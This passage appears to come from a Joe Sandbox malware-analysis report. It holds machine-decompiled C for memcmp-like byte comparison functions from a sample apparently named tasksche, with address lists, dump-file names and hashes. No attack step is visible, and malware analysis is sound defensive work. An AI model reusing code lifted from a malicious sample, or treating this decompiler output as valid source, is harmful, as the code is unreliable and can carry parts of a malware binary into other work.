										_t341 = ( *(_t196 - 0xd) & 0x000000ff) - ( *(_t200 - 0xd) & 0x000000ff);
										if(_t341 == 0) {
											L58:
											_t316 = ( *(_t196 - 0xc) & 0x000000ff) - ( *(_t200 - 0xc) & 0x000000ff);
											if(_t316 != 0) {
												_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
											}
											goto L61;
										}
										_t316 = (0 | _t341 > 0x00000000) + (0 | _t341 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L58;
									}
									_t316 = (0 | _t339 > 0x00000000) + (0 | _t339 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L56;
								}
								_t316 = (0 | _t337 > 0x00000000) + (0 | _t337 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L54;
							}
							_t344 = (_t208 & 0x000000ff) - ( *(_t200 - 0x13) & 0x000000ff);
							if(_t344 == 0) {
								L43:
								_t346 = ( *(_t196 - 0x12) & 0x000000ff) - ( *(_t200 - 0x12) & 0x000000ff);
								if(_t346 == 0) {
									L45:
									_t348 = ( *(_t196 - 0x11) & 0x000000ff) - ( *(_t200 - 0x11) & 0x000000ff);
									if(_t348 == 0) {
										L47:
										_t316 = ( *(_t196 - 0x10) & 0x000000ff) - ( *(_t200 - 0x10) & 0x000000ff);
										if(_t316 != 0) {
											_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
										}
										goto L50;
									}
									_t316 = (0 | _t348 > 0x00000000) + (0 | _t348 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L47;
								}
								_t316 = (0 | _t346 > 0x00000000) + (0 | _t346 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L45;
							}
							_t316 = (0 | _t344 > 0x00000000) + (0 | _t344 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L43;
						}
						_t351 = (_t207 & 0x000000ff) - ( *(_t200 - 0x17) & 0x000000ff);
						if(_t351 == 0) {
							L32:
							_t353 = ( *(_t196 - 0x16) & 0x000000ff) - ( *(_t200 - 0x16) & 0x000000ff);
							if(_t353 == 0) {
								L34:
								_t355 = ( *(_t196 - 0x15) & 0x000000ff) - ( *(_t200 - 0x15) & 0x000000ff);
								if(_t355 == 0) {
									L36:
									_t316 = ( *(_t196 - 0x14) & 0x000000ff) - ( *(_t200 - 0x14) & 0x000000ff);
									if(_t316 != 0) {
										_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
									}
									goto L39;
								}
								_t316 = (0 | _t355 > 0x00000000) + (0 | _t355 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L36;
							}
							_t316 = (0 | _t353 > 0x00000000) + (0 | _t353 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L34;
						}
						_t316 = (0 | _t351 > 0x00000000) + (0 | _t351 > 0x00000000) - 1;
						if(_t316 != 0) {
							goto L1;
						}
						goto L32;
					}
					_t358 = (_t206 & 0x000000ff) - ( *(_t200 - 0x1b) & 0x000000ff);
					if(_t358 == 0) {
						L21:
						_t360 = ( *(_t196 - 0x1a) & 0x000000ff) - ( *(_t200 - 0x1a) & 0x000000ff);
						if(_t360 == 0) {
							L23:
							_t362 = ( *(_t196 - 0x19) & 0x000000ff) - ( *(_t200 - 0x19) & 0x000000ff);
							if(_t362 == 0) {
								L25:
								_t316 = ( *(_t196 - 0x18) & 0x000000ff) - ( *(_t200 - 0x18) & 0x000000ff);
								if(_t316 != 0) {
									_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
								}
								goto L28;
							}
							_t316 = (0 | _t362 > 0x00000000) + (0 | _t362 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L25;
						}
						_t316 = (0 | _t360 > 0x00000000) + (0 | _t360 > 0x00000000) - 1;
						if(_t316 != 0) {
							goto L1;
						}
						goto L23;
					}
					_t316 = (0 | _t358 > 0x00000000) + (0 | _t358 > 0x00000000) - 1;
					if(_t316 != 0) {
						goto L1;
					}
					goto L21;
				} else {
					__edx =  *(__ecx - 0x1f) & 0x000000ff;
					__esi =  *(__eax - 0x1f) & 0x000000ff;
					__esi = ( *(__eax - 0x1f) & 0x000000ff) - ( *(__ecx - 0x1f) & 0x000000ff);
					if(__esi == 0) {
						L10:
						__esi =  *(__eax - 0x1e) & 0x000000ff;
						__edx =  *(__ecx - 0x1e) & 0x000000ff;
						__esi = ( *(__eax - 0x1e) & 0x000000ff) - ( *(__ecx - 0x1e) & 0x000000ff);
						if(__esi == 0) {
							L12:
							__esi =  *(__eax - 0x1d) & 0x000000ff;
							__edx =  *(__ecx - 0x1d) & 0x000000ff;
							__esi = ( *(__eax - 0x1d) & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
							if(__esi == 0) {
								L14:
								__esi =  *(__eax - 0x1c) & 0x000000ff;
								__edx =  *(__ecx - 0x1c) & 0x000000ff;
								__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L17;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L14;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L12;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L10;
				}
				L1:
				_t197 = _t316;
				goto L2;
			}

0x0041bcd9
0x0041bcd9
0x0041bcdf
0x0041bd5f
0x0041bd61
0x0041bd63
0x00000000
0x00000000
0x0041bd69
0x0041bd6f
0x0041bdee
0x0041bdf0
0x0041bdf2
0x00000000
0x00000000
0x0041bdf8
0x0041bdfe
0x0041be7d
0x0041be7f
0x0041be81
0x00000000
0x00000000
0x0041be87
0x0041be8d
0x0041bf0c
0x0041bf0e
0x0041bf10
0x00000000
0x00000000
0x0041bf1c
0x0041bf9c
0x0041bf9e
0x0041bfa0
0x00000000
0x00000000
0x0041bfa6
0x0041bfac
0x0041c02b
0x0041c02d
0x0041c02f
0x00000000
0x00000000
0x0041c035
0x0041c03b
0x0041c0ba
0x0041c0bc
0x0041c0be
0x00000000
0x00000000
0x0041c0cc
0x0041c0ce
0x0041bcb1
0x0041bcb9
0x0041bcbb
0x0041b897
0x0041b89f
0x0041b8a1
0x0041b8b2
0x0041b8b2
0x0041b4a7
0x0041c203
0x0041c203
0x0041bcc8
0x0041bcce
0x0041c0e7
0x0041c0e7
0x00000000
0x0041bcd4
0x00000000
0x0041bcd4
0x0041bcce
0x0041c0db
0x0041c0e1
0x00000000
0x00000000
0x00000000
0x0041c0e1
0x0041c044
0x0041c046
0x0041c05d
0x0041c065
0x0041c067
0x0041c07e
0x0041c086
0x0041c088
0x0041c09f
0x0041c0a7
0x0041c0a9
0x0041c0b6
0x0041c0b6
0x00000000
0x0041c0a9
0x0041c095
0x0041c099
0x00000000
0x00000000
0x00000000
0x0041c099
0x0041c074
0x0041c078
0x00000000
0x00000000
0x00000000
0x0041c078
0x0041c053
0x0041c057
0x00000000
0x00000000
0x00000000
0x0041c057
0x0041bfb5
0x0041bfb7
0x0041bfce
0x0041bfd6
0x0041bfd8
0x0041bfef
0x0041bff7
0x0041bff9
0x0041c010
0x0041c018
0x0041c01a
0x0041c027
0x0041c027
0x00000000
0x0041c01a
0x0041c006
0x0041c00a
0x00000000
0x00000000
0x00000000
0x0041c00a
0x0041bfe5
0x0041bfe9
0x00000000
0x00000000
0x00000000
0x0041bfe9
0x0041bfc4
0x0041bfc8
0x00000000
0x00000000
0x00000000
0x0041bfc8
0x0041bf26
0x0041bf28
0x0041bf3f
0x0041bf47
0x0041bf49
0x0041bf60
0x0041bf68
0x0041bf6a
0x0041bf81
0x0041bf89
0x0041bf8b
0x0041bf98
0x0041bf98
0x00000000
0x0041bf8b
0x0041bf77
0x0041bf7b
0x00000000
0x00000000
0x00000000
0x0041bf7b
0x0041bf56
0x0041bf5a
0x00000000
0x00000000
0x00000000
0x0041bf5a
0x0041bf35
0x0041bf39
0x00000000
0x00000000
0x00000000
0x0041bf39
0x0041be96
0x0041be98
0x0041beaf
0x0041beb7
0x0041beb9
0x0041bed0
0x0041bed8
0x0041beda
0x0041bef1
0x0041bef9
0x0041befb
0x0041bf08
0x0041bf08
0x00000000
0x0041befb
0x0041bee7
0x0041beeb
0x00000000
0x00000000
0x00000000
0x0041beeb
0x0041bec6
0x0041beca
0x00000000
0x00000000
0x00000000
0x0041beca
0x0041bea5
0x0041bea9
0x00000000
0x00000000
0x00000000
0x0041bea9
0x0041be07
0x0041be09
0x0041be20
0x0041be28
0x0041be2a
0x0041be41
0x0041be49
0x0041be4b
0x0041be62
0x0041be6a
0x0041be6c
0x0041be79
0x0041be79
0x00000000
0x0041be6c
0x0041be58
0x0041be5c
0x00000000
0x00000000
0x00000000
0x0041be5c
0x0041be37
0x0041be3b
0x00000000
0x00000000
0x00000000
0x0041be3b
0x0041be16
0x0041be1a
0x00000000
0x00000000
0x00000000
0x0041be1a
0x0041bd78
0x0041bd7a
0x0041bd91
0x0041bd99
0x0041bd9b
0x0041bdb2
0x0041bdba
0x0041bdbc
0x0041bdd3
0x0041bddb
0x0041bddd
0x0041bdea
0x0041bdea
0x00000000
0x0041bddd
0x0041bdc9
0x0041bdcd
0x00000000
0x00000000
0x00000000
0x0041bdcd
0x0041bda8
0x0041bdac
0x00000000
0x00000000
0x00000000
0x0041bdac
0x0041bd87
0x0041bd8b
0x00000000
0x00000000
0x00000000
0x0041bce1
0x0041bce1
0x0041bce5
0x0041bce9
0x0041bceb
0x0041bd02
0x0041bd02
0x0041bd06
0x0041bd0a
0x0041bd0c
0x0041bd23
0x0041bd23
0x0041bd27
0x0041bd2b
0x0041bd2d
0x0041bd44
0x0041bd44
0x0041bd48
0x0041bd4c
0x0041bd4e
0x0041bd54
0x0041bd57
0x0041bd5b
0x0041bd5b
0x00000000
0x0041bd4e
0x0041bd33
0x0041bd36
0x0041bd3a
0x0041bd3e
0x00000000
0x00000000
0x00000000
0x0041bd3e
0x0041bd12
0x0041bd15
0x0041bd19
0x0041bd1d
0x00000000
0x00000000
0x00000000
0x0041bd1d
0x0041bcf1
0x0041bcf4
0x0041bcf8
0x0041bcfc
0x00000000
0x00000000
0x00000000
0x0041bcfc
0x0041b0d2
0x0041b0d2
0x00000000

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: fa64fecedd4ee0fbc6ebc6d5fd45eff142ec883d8ec5514f9c97111b8272a84e
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: 93D18E73C0E9B34A8735812D84582BBEE62AFD175031EC3E2DCE42F389D62B5D9196D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041B8B9 Relevance: .4, Instructions: 378
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0041B8B9(void* __eax, void* __ecx) {
				void* _t191;
				signed int _t192;
				void* _t195;
				signed char _t201;
				signed char _t202;
				signed char _t203;
				signed char _t204;
				signed char _t206;
				signed int _t211;
				signed int _t309;
				void* _t312;
				void* _t314;
				void* _t316;
				void* _t318;
				void* _t321;
				void* _t323;
				void* _t325;
				void* _t328;
				void* _t330;
				void* _t332;
				void* _t335;
				void* _t337;
				void* _t339;
				void* _t342;
				void* _t344;
				void* _t346;
				void* _t349;
				void* _t351;
				void* _t353;

				_t195 = __ecx;
				_t191 = __eax;
				if( *((intOrPtr*)(__eax - 0x1e)) ==  *((intOrPtr*)(__ecx - 0x1e))) {
					_t309 = 0;
					L15:
					if(_t309 != 0) {
						goto L1;
					}
					_t201 =  *(_t191 - 0x1a);
					if(_t201 ==  *(_t195 - 0x1a)) {
						_t309 = 0;
						L26:
						if(_t309 != 0) {
							goto L1;
						}
						_t202 =  *(_t191 - 0x16);
						if(_t202 ==  *(_t195 - 0x16)) {
							_t309 = 0;
							L37:
							if(_t309 != 0) {
								goto L1;
							}
							_t203 =  *(_t191 - 0x12);
							if(_t203 ==  *(_t195 - 0x12)) {
								_t309 = 0;
								L48:
								if(_t309 != 0) {
									goto L1;
								}
								_t204 =  *(_t191 - 0xe);
								if(_t204 ==  *(_t195 - 0xe)) {
									_t309 = 0;
									L59:
									if(_t309 != 0) {
										goto L1;
									}
									if( *(_t191 - 0xa) ==  *(_t195 - 0xa)) {
										_t309 = 0;
										L70:
										if(_t309 != 0) {
											goto L1;
										}
										_t206 =  *(_t191 - 6);
										if(_t206 ==  *(_t195 - 6)) {
											_t309 = 0;
											L81:
											if(_t309 != 0) {
												goto L1;
											}
											if( *(_t191 - 2) ==  *(_t195 - 2)) {
												_t192 = 0;
												L3:
												return _t192;
											}
											_t312 = ( *(_t191 - 2) & 0x000000ff) - ( *(_t195 - 2) & 0x000000ff);
											if(_t312 == 0) {
												L4:
												_t192 = ( *(_t191 - 1) & 0x000000ff) - ( *(_t195 - 1) & 0x000000ff);
												if(_t192 != 0) {
													_t192 = (0 | _t192 > 0x00000000) + (0 | _t192 > 0x00000000) - 1;
												}
												goto L3;
											}
											_t211 = (0 | _t312 > 0x00000000) + (0 | _t312 > 0x00000000) - 1;
											if(_t211 != 0) {
												_t192 = _t211;
												goto L3;
											}
											goto L4;
										}
										_t314 = (_t206 & 0x000000ff) - ( *(_t195 - 6) & 0x000000ff);
										if(_t314 == 0) {
											L74:
											_t316 = ( *(_t191 - 5) & 0x000000ff) - ( *(_t195 - 5) & 0x000000ff);
											if(_t316 == 0) {
												L76:
												_t318 = ( *(_t191 - 4) & 0x000000ff) - ( *(_t195 - 4) & 0x000000ff);
												if(_t318 == 0) {
													L78:
													_t309 = ( *(_t191 - 3) & 0x000000ff) - ( *(_t195 - 3) & 0x000000ff);
													if(_t309 != 0) {
														_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
													}
													goto L81;
												}
												_t309 = (0 | _t318 > 0x00000000) + (0 | _t318 > 0x00000000) - 1;
												if(_t309 != 0) {
													goto L1;
												}
												goto L78;
											}
											_t309 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
											if(_t309 != 0) {
												goto L1;
											}
											goto L76;
										}
										_t309 = (0 | _t314 > 0x00000000) + (0 | _t314 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L74;
									}
									_t321 = ( *(_t191 - 0xa) & 0x000000ff) - ( *(_t195 - 0xa) & 0x000000ff);
									if(_t321 == 0) {
										L63:
										_t323 = ( *(_t191 - 9) & 0x000000ff) - ( *(_t195 - 9) & 0x000000ff);
										if(_t323 == 0) {
											L65:
											_t325 = ( *(_t191 - 8) & 0x000000ff) - ( *(_t195 - 8) & 0x000000ff);
											if(_t325 == 0) {
												L67:
												_t309 = ( *(_t191 - 7) & 0x000000ff) - ( *(_t195 - 7) & 0x000000ff);
												if(_t309 != 0) {
													_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
												}
												goto L70;
											}
											_t309 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
											if(_t309 != 0) {
												goto L1;
											}
											goto L67;
										}
										_t309 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L65;
									}
									_t309 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L63;
								}
								_t328 = (_t204 & 0x000000ff) - ( *(_t195 - 0xe) & 0x000000ff);
								if(_t328 == 0) {
									L52:
									_t330 = ( *(_t191 - 0xd) & 0x000000ff) - ( *(_t195 - 0xd) & 0x000000ff);
									if(_t330 == 0) {
										L54:
										_t332 = ( *(_t191 - 0xc) & 0x000000ff) - ( *(_t195 - 0xc) & 0x000000ff);
										if(_t332 == 0) {
											L56:
											_t309 = ( *(_t191 - 0xb) & 0x000000ff) - ( *(_t195 - 0xb) & 0x000000ff);
											if(_t309 != 0) {
												_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
											}
											goto L59;
										}
										_t309 = (0 | _t332 > 0x00000000) + (0 | _t332 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L56;
									}
									_t309 = (0 | _t330 > 0x00000000) + (0 | _t330 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L54;
								}
								_t309 = (0 | _t328 > 0x00000000) + (0 | _t328 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L52;
							}
							_t335 = (_t203 & 0x000000ff) - ( *(_t195 - 0x12) & 0x000000ff);
							if(_t335 == 0) {
								L41:
								_t337 = ( *(_t191 - 0x11) & 0x000000ff) - ( *(_t195 - 0x11) & 0x000000ff);
								if(_t337 == 0) {
									L43:
									_t339 = ( *(_t191 - 0x10) & 0x000000ff) - ( *(_t195 - 0x10) & 0x000000ff);
									if(_t339 == 0) {
										L45:
										_t309 = ( *(_t191 - 0xf) & 0x000000ff) - ( *(_t195 - 0xf) & 0x000000ff);
										if(_t309 != 0) {
											_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
										}
										goto L48;
									}
									_t309 = (0 | _t339 > 0x00000000) + (0 | _t339 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L45;
								}
								_t309 = (0 | _t337 > 0x00000000) + (0 | _t337 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L43;
							}
							_t309 = (0 | _t335 > 0x00000000) + (0 | _t335 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L41;
						}
						_t342 = (_t202 & 0x000000ff) - ( *(_t195 - 0x16) & 0x000000ff);
						if(_t342 == 0) {
							L30:
							_t344 = ( *(_t191 - 0x15) & 0x000000ff) - ( *(_t195 - 0x15) & 0x000000ff);
							if(_t344 == 0) {
								L32:
								_t346 = ( *(_t191 - 0x14) & 0x000000ff) - ( *(_t195 - 0x14) & 0x000000ff);
								if(_t346 == 0) {
									L34:
									_t309 = ( *(_t191 - 0x13) & 0x000000ff) - ( *(_t195 - 0x13) & 0x000000ff);
									if(_t309 != 0) {
										_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
									}
									goto L37;
								}
								_t309 = (0 | _t346 > 0x00000000) + (0 | _t346 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L34;
							}
							_t309 = (0 | _t344 > 0x00000000) + (0 | _t344 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L32;
						}
						_t309 = (0 | _t342 > 0x00000000) + (0 | _t342 > 0x00000000) - 1;
						if(_t309 != 0) {
							goto L1;
						}
						goto L30;
					}
					_t349 = (_t201 & 0x000000ff) - ( *(_t195 - 0x1a) & 0x000000ff);
					if(_t349 == 0) {
						L19:
						_t351 = ( *(_t191 - 0x19) & 0x000000ff) - ( *(_t195 - 0x19) & 0x000000ff);
						if(_t351 == 0) {
							L21:
							_t353 = ( *(_t191 - 0x18) & 0x000000ff) - ( *(_t195 - 0x18) & 0x000000ff);
							if(_t353 == 0) {
								L23:
								_t309 = ( *(_t191 - 0x17) & 0x000000ff) - ( *(_t195 - 0x17) & 0x000000ff);
								if(_t309 != 0) {
									_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
								}
								goto L26;
							}
							_t309 = (0 | _t353 > 0x00000000) + (0 | _t353 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L23;
						}
						_t309 = (0 | _t351 > 0x00000000) + (0 | _t351 > 0x00000000) - 1;
						if(_t309 != 0) {
							goto L1;
						}
						goto L21;
					}
					_t309 = (0 | _t349 > 0x00000000) + (0 | _t349 > 0x00000000) - 1;
					if(_t309 != 0) {
						goto L1;
					}
					goto L19;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1e) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1e) & 0x000000ff);
					if(__esi == 0) {
						L8:
						__esi =  *(__eax - 0x1d) & 0x000000ff;
						__edx =  *(__ecx - 0x1d) & 0x000000ff;
						__esi = ( *(__eax - 0x1d) & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
						if(__esi == 0) {
							L10:
							__esi =  *(__eax - 0x1c) & 0x000000ff;
							__edx =  *(__ecx - 0x1c) & 0x000000ff;
							__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
							if(__esi == 0) {
								L12:
								__esi =  *(__eax - 0x1b) & 0x000000ff;
								__edx =  *(__ecx - 0x1b) & 0x000000ff;
								__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L15;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L12;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L10;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L8;
				}
				L1:
				_t192 = _t309;
				goto L3;
			}

0x0041b8b9
0x0041b8b9
0x0041b8bf
0x0041b93e
0x0041b940
0x0041b942
0x00000000
0x00000000
0x0041b948
0x0041b94e
0x0041b9cd
0x0041b9cf
0x0041b9d1
0x00000000
0x00000000
0x0041b9d7
0x0041b9dd
0x0041ba5c
0x0041ba5e
0x0041ba60
0x00000000
0x00000000
0x0041ba66
0x0041ba6c
0x0041baeb
0x0041baed
0x0041baef
0x00000000
0x00000000
0x0041baf5
0x0041bafb
0x0041bb7a
0x0041bb7c
0x0041bb7e
0x00000000
0x00000000
0x0041bb8a
0x0041bc0a
0x0041bc0c
0x0041bc0e
0x00000000
0x00000000
0x0041bc14
0x0041bc1a
0x0041bc99
0x0041bc9b
0x0041bc9d
0x00000000
0x00000000
0x0041bcab
0x0041b4a5
0x0041b4a7
0x0041c203
0x0041c203
0x0041bcb9
0x0041bcbb
0x0041b897
0x0041b89f
0x0041b8a1
0x0041b8b2
0x0041b8b2
0x00000000
0x0041b8a1
0x0041bcc8
0x0041bcce
0x0041c0e7
0x00000000
0x0041c0e7
0x00000000
0x0041bcd4
0x0041bc23
0x0041bc25
0x0041bc3c
0x0041bc44
0x0041bc46
0x0041bc5d
0x0041bc65
0x0041bc67
0x0041bc7e
0x0041bc86
0x0041bc88
0x0041bc95
0x0041bc95
0x00000000
0x0041bc88
0x0041bc74
0x0041bc78
0x00000000
0x00000000
0x00000000
0x0041bc78
0x0041bc53
0x0041bc57
0x00000000
0x00000000
0x00000000
0x0041bc57
0x0041bc32
0x0041bc36
0x00000000
0x00000000
0x00000000
0x0041bc36
0x0041bb94
0x0041bb96
0x0041bbad
0x0041bbb5
0x0041bbb7
0x0041bbce
0x0041bbd6
0x0041bbd8
0x0041bbef
0x0041bbf7
0x0041bbf9
0x0041bc06
0x0041bc06
0x00000000
0x0041bbf9
0x0041bbe5
0x0041bbe9
0x00000000
0x00000000
0x00000000
0x0041bbe9
0x0041bbc4
0x0041bbc8
0x00000000
0x00000000
0x00000000
0x0041bbc8
0x0041bba3
0x0041bba7
0x00000000
0x00000000
0x00000000
0x0041bba7
0x0041bb04
0x0041bb06
0x0041bb1d
0x0041bb25
0x0041bb27
0x0041bb3e
0x0041bb46
0x0041bb48
0x0041bb5f
0x0041bb67
0x0041bb69
0x0041bb76
0x0041bb76
0x00000000
0x0041bb69
0x0041bb55
0x0041bb59
0x00000000
0x00000000
0x00000000
0x0041bb59
0x0041bb34
0x0041bb38
0x00000000
0x00000000
0x00000000
0x0041bb38
0x0041bb13
0x0041bb17
0x00000000
0x00000000
0x00000000
0x0041bb17
0x0041ba75
0x0041ba77
0x0041ba8e
0x0041ba96
0x0041ba98
0x0041baaf
0x0041bab7
0x0041bab9
0x0041bad0
0x0041bad8
0x0041bada
0x0041bae7
0x0041bae7
0x00000000
0x0041bada
0x0041bac6
0x0041baca
0x00000000
0x00000000
0x00000000
0x0041baca
0x0041baa5
0x0041baa9
0x00000000
0x00000000
0x00000000
0x0041baa9
0x0041ba84
0x0041ba88
0x00000000
0x00000000
0x00000000
0x0041ba88
0x0041b9e6
0x0041b9e8
0x0041b9ff
0x0041ba07
0x0041ba09
0x0041ba20
0x0041ba28
0x0041ba2a
0x0041ba41
0x0041ba49
0x0041ba4b
0x0041ba58
0x0041ba58
0x00000000
0x0041ba4b
0x0041ba37
0x0041ba3b
0x00000000
0x00000000
0x00000000
0x0041ba3b
0x0041ba16
0x0041ba1a
0x00000000
0x00000000
0x00000000
0x0041ba1a
0x0041b9f5
0x0041b9f9
0x00000000
0x00000000
0x00000000
0x0041b9f9
0x0041b957
0x0041b959
0x0041b970
0x0041b978
0x0041b97a
0x0041b991
0x0041b999
0x0041b99b
0x0041b9b2
0x0041b9ba
0x0041b9bc
0x0041b9c9
0x0041b9c9
0x00000000
0x0041b9bc
0x0041b9a8
0x0041b9ac
0x00000000
0x00000000
0x00000000
0x0041b9ac
0x0041b987
0x0041b98b
0x00000000
0x00000000
0x00000000
0x0041b98b
0x0041b966
0x0041b96a
0x00000000
0x00000000
0x00000000
0x0041b8c1
0x0041b8c1
0x0041b8c4
0x0041b8c8
0x0041b8ca
0x0041b8e1
0x0041b8e1
0x0041b8e5
0x0041b8e9
0x0041b8eb
0x0041b902
0x0041b902
0x0041b906
0x0041b90a
0x0041b90c
0x0041b923
0x0041b923
0x0041b927
0x0041b92b
0x0041b92d
0x0041b933
0x0041b936
0x0041b93a
0x0041b93a
0x00000000
0x0041b92d
0x0041b912
0x0041b915
0x0041b919
0x0041b91d
0x00000000
0x00000000
0x00000000
0x0041b91d
0x0041b8f1
0x0041b8f4
0x0041b8f8
0x0041b8fc
0x00000000
0x00000000
0x00000000
0x0041b8fc
0x0041b8d0
0x0041b8d3
0x0041b8d7
0x0041b8db
0x00000000
0x00000000
0x00000000
0x0041b8db
0x0041b0d2
0x0041b0d2
0x00000000

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: 1a9104bdc18b99a6bc3a57d880f0b00b8efb4b2948f4f82757f4a36a4691901f
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: 8DD18E73D1E9B30A8735812D80682ABEE62AFD175031EC3E2DCE42F389D72B5D9195D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041B4AD Relevance: .4, Instructions: 361
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0041B4AD(void* __eax, void* __ecx) {
				void* _t183;
				signed int _t184;
				void* _t187;
				signed char _t193;
				signed char _t194;
				signed char _t195;
				signed char _t196;
				signed char _t198;
				signed int _t296;
				void* _t299;
				void* _t301;
				void* _t303;
				void* _t306;
				void* _t308;
				void* _t310;
				void* _t313;
				void* _t315;
				void* _t317;
				void* _t320;
				void* _t322;
